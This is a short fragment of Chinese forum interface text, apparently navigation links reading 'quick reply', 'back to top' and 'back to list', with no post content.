快速回复 返回顶部 返回列表